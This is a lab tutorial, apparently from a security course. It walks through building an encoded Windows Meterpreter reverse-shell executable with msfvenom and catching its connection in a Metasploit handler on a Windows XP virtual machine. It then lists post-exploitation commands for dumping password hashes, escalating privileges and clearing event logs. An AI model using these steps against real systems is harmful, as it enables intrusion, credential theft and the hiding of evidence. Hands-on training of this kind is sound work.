Security Concepts

[Day 7] 2. Windows XP Meterpreter Attack Using Kali Linux

D
DITISS Admin
••3 min read

1. Components Required:

  • Kali Linux (as the attacker machine)
  • Windows XP (64-bit ISO as the target machine)

2. Network Configuration:

  • Configure both Kali Linux and Windows XP Virtual Machines in NAT Network mode:
    • Ensures both machines have internet access.
    • Facilitates communication between them.
  • Use the
    ping
    command to verify connectivity between the two machines.

3. Practical: Android Meterpreter (Windows XP)

Step 1: Generate Payload on Kali Linux

Use msfvenom to create a malicious executable file:

bash
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai LHOST=<Kali_IP> LPORT=4000 -f exe > sunbeam.exe

Step 2: Set Up Listener on Kali Linux

  1. Open Metasploit Framework:
    bash
    msfconsole
    
  2. Configure the handler:
    bash
    use multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST <Kali_IP>
    set LPORT 4000
    exploit
    

Step 3: Execute Payload on Windows XP

  1. Transfer the generated payload (
    sunbeam.exe
    ) to the Windows XP machine.
  2. Run the file on the Windows XP system to establish a reverse connection.

1. System Information:

  • sysinfo

    Displays basic information about the target system.

2. File System Interaction:

  • ls

    Lists the contents of the current directory.
  • cd <directory>

    Changes the current directory.
  • download <file>

    Downloads a file from the target.
  • upload <file>

    Uploads a file to the target.

3. Process Management:

  • ps

    Lists the running processes on the target system.
  • kill <PID>

    Terminates a specific process by its process ID.

4. Network Commands:

  • ifconfig

    Displays the target machine's network interface information.

5. Shell and Command Execution:

  • shell

    Opens a command shell on the target machine.
  • execute -f <command>

    Executes a command on the target machine.

6. Post-Exploitation:

  • getsystem

    Attempts to elevate privileges to SYSTEM level.
  • hashdump

    Dumps password hashes from the target machine.

7. Cleanup and Exit:

  • clearev

    Clears event logs on the target system.
  • exit

    Terminates the Meterpreter session.

Read Next

8/26/2026

[Day 7] 3. Security Testing

#### **Why Is Security Testing Required?** - **Business Impact:** - Avoid downtime and disruptions. - Ensure business continuity. - **Re...

8/26/2026

[Day 7] 4. Overview of Security Testing and VAPT

#### **1. Black Box Testing** - **Definition:** Testing with **zero knowledge** of the target system. - **Purpose:** - Simulates an **externa...